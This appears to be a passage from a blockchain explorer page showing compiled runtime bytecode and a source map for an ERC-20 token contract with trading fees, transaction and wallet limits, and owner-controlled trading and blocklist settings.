b17905550565b6001600160a01b0383166109ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e3565b6001600160a01b038216610a2b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e3565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610af15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e3565b6001600160a01b038216610b535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e3565b60008111610bb55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e3565b6000546001600160a01b0384811691161480610bde57506000546001600160a01b038381169116145b15610c89576001600160a01b038316600090815260016020526040902054610c069082610eb6565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c359082610eff565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a809085815260200190565b610c94838383610f5e565b6000610ca1848484610f82565b3060009081526001602052604090205460135491925090600160a81b900460ff16158015610cdc57506013546001600160a01b038581169116145b8015610cf15750601354600160b01b900460ff165b15610d3857600f5481118015610d0a5750600b54600c54115b15610d2c57610d2c610d2784610d2284601054611077565b611077565b61108c565b47610d3681611206565b505b8115610db25730600090815260016020526040902054610d589083610eff565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610da99086815260200190565b60405180910390a35b6001600160a01b038516600090815260016020526040902054610dd59084610eb6565b6001600160a01b038616600090815260016020526040902055610e1a610dfb8484610eb6565b6001600160a01b03861660009081526001602052604090205490610eff565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e648686610eb6565b60405190815260200160405180910390a35050505050565b60008184841115610ea05760405162461bcd60e51b81526004016103e3919061161a565b506000610ead84866118e0565b95945050505050565b6000610ef883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e7c565b9392505050565b600080610f0c83856118f3565b905083811015610ef85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e3565b610f688383611244565b610f718361128f565b610f7d83838384611304565b505050565b600080610fb16064610fab600954600c5411610fa057600554610fa4565b6007545b869061152d565b906115af565b6013549091506001600160a01b038681169116148015610fdf57506012546001600160a01b03858116911614155b801561100457506001600160a01b03841660009081526003602052604090205460ff16155b1561101f57600c805490600061101983611906565b91905055505b6013546001600160a01b03858116911614801561104557506001600160a01b0385163014155b1561106f57610ead6064610fab600a54600c541161106557600654610fa4565b600854869061152d565b949350505050565b60008183116110865782610ef8565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d4576110d461191f565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111519190611895565b816001815181106111645761116461191f565b6001600160a01b03928316602091820292909201015260125461118a9130911684610968565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c3908590600090869030904290600401611935565b600060405180830381600087803b1580156111dd57600080fd5b505af11580156111f1573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611240573d6000803e3d6000fd5b5050565b6001600160a01b03821660009081526004602052604090205460ff1615801561128657506001600160a01b03811660009081526004602052604090205460ff16155b61124057600080fd5b601354600160a01b900460ff16806112bf57506001600160a01b03811660009081526003602052604090205460ff165b6104265760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b60448201526064016103e3565b6011546013546001600160a01b0391821691868116911614801561133657506012546001600160a01b03858116911614155b801561135b57506001600160a01b03841660009081526003602052604090205460ff16155b1561142d57600d548311156113b25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e3565b600e54836113d5866001600160a01b031660009081526001602052604090205490565b6113df91906118f3565b111561142d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e3565b6013546001600160a01b03858116911614801561145857506012546001600160a01b03868116911614155b801561146d57506001600160a01b0385163014155b801561149157506001600160a01b03851660009081526003602052604090205460ff165b15611526576001600160a01b0381166000908152600160205260409020546114ba9083906118f3565b6001600160a01b0382166000908152600160205260409020819055600e5410156115265760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e3565b5050505050565b60008260000361153f57506000610392565b600061154b8385611849565b90508261155885836119a6565b14610ef85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e3565b6000610ef883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361160d5760405162461bcd60e51b81526004016103e3919061161a565b506000610ead84866119a6565b600060208083528351808285015260005b818110156116475785810183015185820160400152820161162b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461042657600080fd5b6000806040838503121561169057600080fd5b823561169b81611668565b946020939093013593505050565b6000806000606084860312156116be57600080fd5b83356116c981611668565b925060208401356116d981611668565b929592945050506040919091013590565b6000602082840312156116fc57600080fd5b8135610ef881611668565b6000806040838503121561171a57600080fd5b823561172581611668565b9150602083013561173581611668565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561179157816000190482111561177757611777611740565b8085161561178457918102915b93841c939080029061175b565b509250929050565b6000826117a857506001610392565b816117b557506000610392565b81600181146117cb57600281146117d5576117f1565b6001915050610392565b60ff8411156117e6576117e6611740565b50506001821b610392565b5060208310610133831016604e8410600b8410161715611814575081810a610392565b61181e8383611756565b806000190482111561183257611832611740565b029392505050565b6000610ef860ff841683611799565b808202811582820484141761039257610392611740565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118a757600080fd5b8151610ef881611668565b6000806000606084860312156118c757600080fd5b8351925060208401519150604084015190509250925092565b8181038181111561039257610392611740565b8082018082111561039257610392611740565b60006001820161191857611918611740565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119855784516001600160a01b031683529383019391830191600101611960565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119c357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cf2c532c1f0a4fb8f6ffcc732f5ef577d4986ce8164345f8d1d49e10b53155464736f6c63430008130033
Deployed Bytecode Sourcemap
3897:9543:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5676:83;;;;;;;;;;-1:-1:-1;5746:5:0;;;;;;;;;;;-1:-1:-1;;;5746:5:0;;;;5676:83;;;;5746:5;5676:83;:::i;:::-;;;;;;;;6564:186;;;;;;;;;;-1:-1:-1;6564:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6564:186:0;1023:187:1;4951:47:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4951:47:0;1215:177:1;5953:100:0;;;;;;;;;;;;;:::i;13330:107::-;;;;;;;;;;;;;:::i;:::-;;6758:446;;;;;;;;;;-1:-1:-1;6758:446:0;;;;;:::i;:::-;;:::i;5862:83::-;;;;;;;;;;-1:-1:-1;5862:83:0;;4539:2;2000:36:1;;1988:2;1973:18;5862:83:0;1858:184:1;6061:119:0;;;;;;;;;;-1:-1:-1;6061:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6154:18:0;6127:7;6154:18;;;:9;:18;;;;;;;6061:119;2892:148;;;;;;;;;;;;;:::i;12721:192::-;;;;;;;;;;;;;:::i;4764:54::-;;;;;;;;;;;;;;;;2678:79;;;;;;;;;;-1:-1:-1;2716:7:0;2743:6;2678:79;;-1:-1:-1;;;;;2743:6:0;;;2445:51:1;;2433:2;2418:18;2678:79:0;2299:203:1;4825:56:0;;;;;;;;;;;;;;;;11433:572;;;;;;;;;;-1:-1:-1;11433:572:0;;;;;:::i;:::-;;:::i;6188:192::-;;;;;;;;;;-1:-1:-1;6188:192:0;;;;;:::i;:::-;;:::i;4888:56::-;;;;;;;;;;;;;;;;12921:401;;;;;;;;;;;;;:::i;6388:168::-;;;;;;;;;;-1:-1:-1;6388:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6521:18:0;;;6494:7;6521:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6388:168;6564:186;6664:4;6681:39;293:10;6704:7;6713:6;6681:8;:39::i;:::-;-1:-1:-1;6738:4:0;6564:186;;;;;:::o;5953:100::-;6006:7;4600:15;4539:2;4600;:15;:::i;:::-;4588:27;;:9;:27;:::i;:::-;6026:19;;5953:100;:::o;13330:107::-;2805:6;;-1:-1:-1;;;;;2805:6:0;293:10;2805:22;2797:67;;;;-1:-1:-1;;;2797:67:0;;;;;;;:::i;:::-;;;;;;;;;2716:7;2743:6;;13381:48:::1;::::0;-1:-1:-1;;;;;2743:6:0;;;;13407:21:::1;13381:48:::0;::::1;;;::::0;13407:21;;13381:48;2716:7;13381:48;13407:21;2743:6;13381:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13330:107::o:0;6758:446::-;6890:4;6907:36;6917:6;6925:9;6936:6;6907:9;:36::i;:::-;6954:220;6977:6;293:10;7025:138;7081:6;7025:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7025:19:0;;;;;;:11;:19;;;;;;;;293:10;7025:33;;;;;;;;;;:37;:138::i;:::-;6954:8;:220::i;:::-;-1:-1:-1;7192:4:0;6758:446;;;;;:::o;2892:148::-;2805:6;;-1:-1:-1;;;;;2805:6:0;293:10;2805:22;2797:67;;;;-1:-1:-1;;;2797:67:0;;;;;;;:::i;:::-;2999:1:::1;2983:6:::0;;2962:40:::1;::::0;-1:-1:-1;;;;;2983:6:0;;::::1;::::0;2962:40:::1;::::0;2999:1;;2962:40:::1;3030:1;3013:19:::0;;-1:-1:-1;;;;;;3013:19:0::1;::::0;;2892:148::o;12721:192::-;2805:6;;-1:-1:-1;;;;;2805:6:0;293:10;2805:22;2797:67;;;;-1:-1:-1;;;2797:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12775:12:0::1;:32:::0;;;12818:14:::1;:34:::0;;;12868:37:::1;::::0;1361:25:1;;;12868:37:0::1;::::0;1349:2:1;1334:18;12868:37:0::1;;;;;;;12721:192::o:0;11433:572::-;2805:6;;-1:-1:-1;;;;;2805:6:0;293:10;2805:22;2797:67;;;;-1:-1:-1;;;2797:67:0;;;;;;;:::i;:::-;11508:11:::1;::::0;-1:-1:-1;;;11508:11:0;::::1;;;11507:12;11499:48;;;::::0;-1:-1:-1;;;11499:48:0;;5151:2:1;11499:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;11499:48:0::1;4949:347:1::0;11499:48:0::1;11558:15;:104:::0;;-1:-1:-1;;;;;;11558:104:0::1;11609:42;11558:104:::0;;::::1;::::0;;11673:63:::1;::::0;11690:4:::1;::::0;11609:42;4600:15:::1;::::0;:2:::1;:15;:::i;:::-;4588:27;::::0;:9:::1;:27;:::i;11673:63::-;11747:12;:30:::0;;-1:-1:-1;;;;;;11747:30:0::1;-1:-1:-1::0;;;;;11747:30:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;11788:32:0;;;:18:::1;:32;::::0;;;;;;;;:39;;-1:-1:-1;;11788:39:0::1;-1:-1:-1::0;11788:39:0::1;::::0;;11872:15:::1;::::0;:25;;-1:-1:-1;;;11872:25:0;;;;:15;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;11788:32;11872:25;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11854:55:0::1;;11936:4;11960:15;;;;;;;;;-1:-1:-1::0;;;;;11960:15:0::1;-1:-1:-1::0;;;;;11960:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11854:143;::::0;-1:-1:-1;;;;;;11854:143:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;11854:143:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;11854:143:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11838:13;:159:::0;;-1:-1:-1;;;;;;11838:159:0::1;-1:-1:-1::0;;;;;11838:159:0;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;11433:572:0:o;6188:192::-;6291:4;6308:42;293:10;6332:9;6343:6;6308:9;:42::i;12921:401::-;2805:6;;-1:-1:-1;;;;;2805:6:0;293:10;2805:22;2797:67;;;;-1:-1:-1;;;2797:67:0;;;;;;;:::i;:::-;12983:11:::1;::::0;-1:-1:-1;;;12983:11:0;::::1;;;12982:12;12974:48;;;::::0;-1:-1:-1;;;12974:48:0;;5151:2:1;12974:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;12974:48:0::1;4949:347:1::0;12974:48:0::1;13033:15;::::0;-1:-1:-1;;;;;13033:15:0::1;:31;13072:21;13117:4;13137:24;13117:4:::0;-1:-1:-1;;;;;6154:18:0;6127:7;6154:18;;;:9;:18;;;;;;;6061:119;13137:24:::1;13176:1;13192::::0;13208:7:::1;2716::::0;2743:6;-1:-1:-1;;;;;2743:6:0;;2678:79;13208:7:::1;13033:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13033:223:0;;;-1:-1:-1;;;;;6225:15:1;;;13033:223:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;13230:15:0::1;6439:19:1::0;;;6432:35;6141:19;;13033:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13267:11:0::1;:18:::0;;-1:-1:-1;;;;13296:18:0;-1:-1:-1;;;13296:18:0;;;-1:-1:-1;12921:401:0:o;7212:335::-;-1:-1:-1;;;;;7305:19:0;;7297:68;;;;-1:-1:-1;;;7297:68:0;;6991:2:1;7297:68:0;;;6973:21:1;7030:2;7010:18;;;7003:30;7069:34;7049:18;;;7042:62;-1:-1:-1;;;7120:18:1;;;7113:34;7164:19;;7297:68:0;6789:400:1;7297:68:0;-1:-1:-1;;;;;7384:21:0;;7376:68;;;;-1:-1:-1;;;7376:68:0;;7396:2:1;7376:68:0;;;7378:21:1;7435:2;7415:18;;;7408:30;7474:34;7454:18;;;7447:62;-1:-1:-1;;;7525:18:1;;;7518:32;7567:19;;7376:68:0;7194:398:1;7376:68:0;-1:-1:-1;;;;;7455:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7507:32;;1361:25:1;;;7507:32:0;;1334:18:1;7507:32:0;;;;;;;;7212:335;;;:::o;7592:1555::-;-1:-1:-1;;;;;7680:18:0;;7672:68;;;;-1:-1:-1;;;7672:68:0;;7799:2:1;7672:68:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:34;7857:18;;;7850:62;-1:-1:-1;;;7928:18:1;;;7921:35;7973:19;;7672:68:0;7597:401:1;7672:68:0;-1:-1:-1;;;;;7759:16:0;;7751:64;;;;-1:-1:-1;;;7751:64:0;;8205:2:1;7751:64:0;;;8187:21:1;8244:2;8224:18;;;8217:30;8283:34;8263:18;;;8256:62;-1:-1:-1;;;8334:18:1;;;8327:33;8377:19;;7751:64:0;8003:399:1;7751:64:0;7843:1;7834:6;:10;7826:64;;;;-1:-1:-1;;;7826:64:0;;8609:2:1;7826:64:0;;;8591:21:1;8648:2;8628:18;;;8621:30;8687:34;8667:18;;;8660:62;-1:-1:-1;;;8738:18:1;;;8731:39;8787:19;;7826:64:0;8407:405:1;7826:64:0;2716:7;2743:6;-1:-1:-1;;;;;7905:15:0;;;2743:6;;7905:15;;:32;;-1:-1:-1;2716:7:0;2743:6;-1:-1:-1;;;;;7924:13:0;;;2743:6;;7924:13;7905:32;7901:233;;;-1:-1:-1;;;;;7972:15:0;;;;;;:9;:15;;;;;;:27;;7992:6;7972:19;:27::i;:::-;-1:-1:-1;;;;;7954:15:0;;;;;;;:9;:15;;;;;;:45;;;;8030:13;;;;;;;:25;;8048:6;8030:17;:25::i;:::-;-1:-1:-1;;;;;8014:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8075:26;;;;;;;;;;8094:6;1361:25:1;;1349:2;1334:18;;1215:177;7901:233:0;8144:31;8158:4;8164:2;8168:6;8144:13;:31::i;:::-;8186:17;8206:24;8213:4;8219:2;8223:6;8206;:24::i;:::-;8290:4;8241:28;6154:18;;;:9;:18;;;;;;8312:6;;8186:44;;-1:-1:-1;6154:18:0;-1:-1:-1;;;8312:6:0;;;;8311:7;:30;;;;-1:-1:-1;8328:13:0;;-1:-1:-1;;;;;8322:19:0;;;8328:13;;8322:19;8311:30;:45;;;;-1:-1:-1;8345:11:0;;-1:-1:-1;;;8345:11:0;;;;8311:45;8307:471;;;8418:17;;8395:20;:40;:91;;;;;8468:18;;8456:9;;:30;8395:91;8373:255;;;8519:109;8558:51;8562:6;8570:38;8574:20;8596:11;;8570:3;:38::i;:::-;8558:3;:51::i;:::-;8519:16;:109::i;:::-;8669:21;8737:29;8750:15;8737:12;:29::i;:::-;8358:420;8307:471;8792:13;;8788:172;;8867:4;8849:24;;;;:9;:24;;;;;;:39;;8878:9;8849:28;:39::i;:::-;8840:4;8822:24;;;;:9;:24;;;;;;;:66;;;;8908:40;;-1:-1:-1;;;;;8908:40:0;;;;;;;8938:9;1361:25:1;;1349:2;1334:18;;1215:177;8908:40:0;;;;;;;;8788:172;-1:-1:-1;;;;;8988:15:0;;;;;;:9;:15;;;;;;:27;;9008:6;8988:19;:27::i;:::-;-1:-1:-1;;;;;8970:15:0;;;;;;:9;:15;;;;;:45;9042:40;9060:21;:6;9071:9;9060:10;:21::i;:::-;-1:-1:-1;;;;;9042:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9026:13:0;;;;;;;:9;:13;;;;;:56;;;;9098:41;;;9117:21;:6;9128:9;9117:10;:21::i;:::-;9098:41;;1361:25:1;;;1349:2;1334:18;9098:41:0;;;;;;;7661:1486;;7592:1555;;;:::o;1480:224::-;1600:7;1636:12;1628:6;;;;1620:29;;;;-1:-1:-1;;;1620:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1660:9:0;1672:5;1676:1;1672;:5;:::i;:::-;1660:17;1480:224;-1:-1:-1;;;;;1480:224:0:o;1336:136::-;1394:7;1421:43;1425:1;1428;1421:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1414:50;1336:136;-1:-1:-1;;;1336:136:0:o;1149:179::-;1207:7;;1239:5;1243:1;1239;:5;:::i;:::-;1227:17;;1268:1;1263;:6;;1255:46;;;;-1:-1:-1;;;1255:46:0;;9282:2:1;1255:46:0;;;9264:21:1;9321:2;9301:18;;;9294:30;9360:29;9340:18;;;9333:57;9407:18;;1255:46:0;9080:351:1;10444:182:0;10529:18;10538:4;10544:2;10529:8;:18::i;:::-;10558:15;10568:4;10558:9;:15::i;:::-;10584:34;10593:4;10599:2;10603:6;10611;10584:8;:34::i;:::-;10444:182;;;:::o;10634:791::-;10744:7;10764:17;10784:110;10890:3;10784:87;10822:15;;10810:9;;:27;10809:61;;10856:14;;10809:61;;;10841:12;;10809:61;10784:6;;:24;:87::i;:::-;:105;;:110::i;:::-;10931:13;;10764:130;;-1:-1:-1;;;;;;10923:21:0;;;10931:13;;10923:21;:68;;;;-1:-1:-1;10975:15:0;;-1:-1:-1;;;;;10961:30:0;;;10975:15;;10961:30;;10923:68;:108;;;;-1:-1:-1;;;;;;11009:22:0;;;;;;:18;:22;;;;;;;;11008:23;10923:108;10905:176;;;11058:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10905:176;11101:13;;-1:-1:-1;;;;;11095:19:0;;;11101:13;;11095:19;:44;;;;-1:-1:-1;;;;;;11118:21:0;;11134:4;11118:21;;11095:44;11091:300;;;11168:211;11375:3;11168:184;11232:16;;11220:9;;:28;11219:114;;11318:15;;11219:114;;;11277:13;;11168:6;;:28;:184::i;11091:300::-;11408:9;10634:791;-1:-1:-1;;;;10634:791:0:o;12013:107::-;12070:7;12102:1;12098;:5;12097:15;;12111:1;12097:15;;;-1:-1:-1;12107:1:0;12013:107;-1:-1:-1;12013:107:0:o;12128:483::-;5324:6;:13;;-1:-1:-1;;;;5324:13:0;-1:-1:-1;;;5324:13:0;;;12230:16:::1;::::0;;12244:1:::1;12230:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12230:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12230:16:0::1;12206:40;;12275:4;12257;12262:1;12257:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12257:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12301:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12301:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12257:7;;12301:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12291:4;12296:1;12291:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12291:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12366:15:::1;::::0;12334:62:::1;::::0;12351:4:::1;::::0;12366:15:::1;12384:11:::0;12334:8:::1;:62::i;:::-;12407:15;::::0;:196:::1;::::0;-1:-1:-1;;;12407:196:0;;-1:-1:-1;;;;;12407:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12488:11;;12407:15:::1;::::0;12530:4;;12557::::1;::::0;12577:15:::1;::::0;12407:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5360:6:0;:14;;-1:-1:-1;;;;5360:14:0;;;-1:-1:-1;;;;12128:483:0:o;12619:94::-;12676:12;;:29;;-1:-1:-1;;;;;12676:12:0;;;;:29;;;;;12698:6;;12676:12;:29;:12;:29;12698:6;12676:12;:29;;;;;;;;;;;;;;;;;;;;;12619:94;:::o;9155:110::-;-1:-1:-1;;;;;9233:10:0;;;;;;:4;:10;;;;;;;;9232:11;:24;;;;-1:-1:-1;;;;;;9248:8:0;;;;;;:4;:8;;;;;;;;9247:9;9232:24;9224:33;;;;;9273:177;9353:11;;-1:-1:-1;;;9353:11:0;;;;;:39;;-1:-1:-1;;;;;;9368:24:0;;;;;;:18;:24;;;;;;;;9353:39;9331:111;;;;-1:-1:-1;;;9331:111:0;;11027:2:1;9331:111:0;;;11009:21:1;11066:2;11046:18;;;11039:30;-1:-1:-1;;;11085:18:1;;;11078:52;11147:18;;9331:111:0;10825:346:1;9458:978:0;9622:12;;9671:13;;-1:-1:-1;;;;;9622:12:0;;;;9663:21;;;9671:13;;9663:21;:68;;;;-1:-1:-1;9715:15:0;;-1:-1:-1;;;;;9701:30:0;;;9715:15;;9701:30;;9663:68;:108;;;;-1:-1:-1;;;;;;9749:22:0;;;;;;:18;:22;;;;;;;;9748:23;9663:108;9645:368;;;9816:12;;9806:6;:22;;9798:60;;;;-1:-1:-1;;;9798:60:0;;11378:2:1;9798:60:0;;;11360:21:1;11417:2;11397:18;;;11390:30;11456:27;11436:18;;;11429:55;11501:18;;9798:60:0;11176:349:1;9798:60:0;9925:14;;9915:6;9899:13;9909:2;-1:-1:-1;;;;;6154:18:0;6127:7;6154:18;;;:9;:18;;;;;;;6061:119;9899:13;:22;;;;:::i;:::-;:40;;9873:128;;;;-1:-1:-1;;;9873:128:0;;11732:2:1;9873:128:0;;;11714:21:1;11771:2;11751:18;;;11744:30;11810:28;11790:18;;;11783:56;11856:18;;9873:128:0;11530:350:1;9873:128:0;10047:13;;-1:-1:-1;;;;;10041:19:0;;;10047:13;;10041:19;:68;;;;-1:-1:-1;10093:15:0;;-1:-1:-1;;;;;10077:32:0;;;10093:15;;10077:32;;10041:68;:106;;;;-1:-1:-1;;;;;;10126:21:0;;10142:4;10126:21;;10041:106;:147;;;;-1:-1:-1;;;;;;10164:24:0;;;;;;:18;:24;;;;;;;;10041:147;10023:406;;;-1:-1:-1;;;;;10240:22:0;;;;;;:9;:22;;;;;;:34;;10265:9;;10240:34;:::i;:::-;-1:-1:-1;;;;;10215:22:0;;;;;;:9;:22;;;;;:59;;;10341:14;;-1:-1:-1;10315:40:0;10289:128;;;;-1:-1:-1;;;10289:128:0;;11732:2:1;10289:128:0;;;11714:21:1;11771:2;11751:18;;;11744:30;11810:28;11790:18;;;11783:56;11856:18;;10289:128:0;11530:350:1;10289:128:0;9589:847;9458:978;;;;:::o;1712:246::-;1770:7;1794:1;1799;1794:6;1790:47;;-1:-1:-1;1824:1:0;1817:8;;1790:47;1847:9;1859:5;1863:1;1859;:5;:::i;:::-;1847:17;-1:-1:-1;1892:1:0;1883:5;1887:1;1847:17;1883:5;:::i;:::-;:10;1875:56;;;;-1:-1:-1;;;1875:56:0;;12309:2:1;1875:56:0;;;12291:21:1;12348:2;12328:18;;;12321:30;12387:34;12367:18;;;12360:62;-1:-1:-1;;;12438:18:1;;;12431:31;12479:19;;1875:56:0;12107:397:1;1966:132:0;2024:7;2051:39;2055:1;2058;2051:39;;;;;;;;;;;;;;;;;2226:7;2261:12;2254:5;2246:28;;;;-1:-1:-1;;;2246:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2285:9:0;2297:5;2301:1;2297;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976: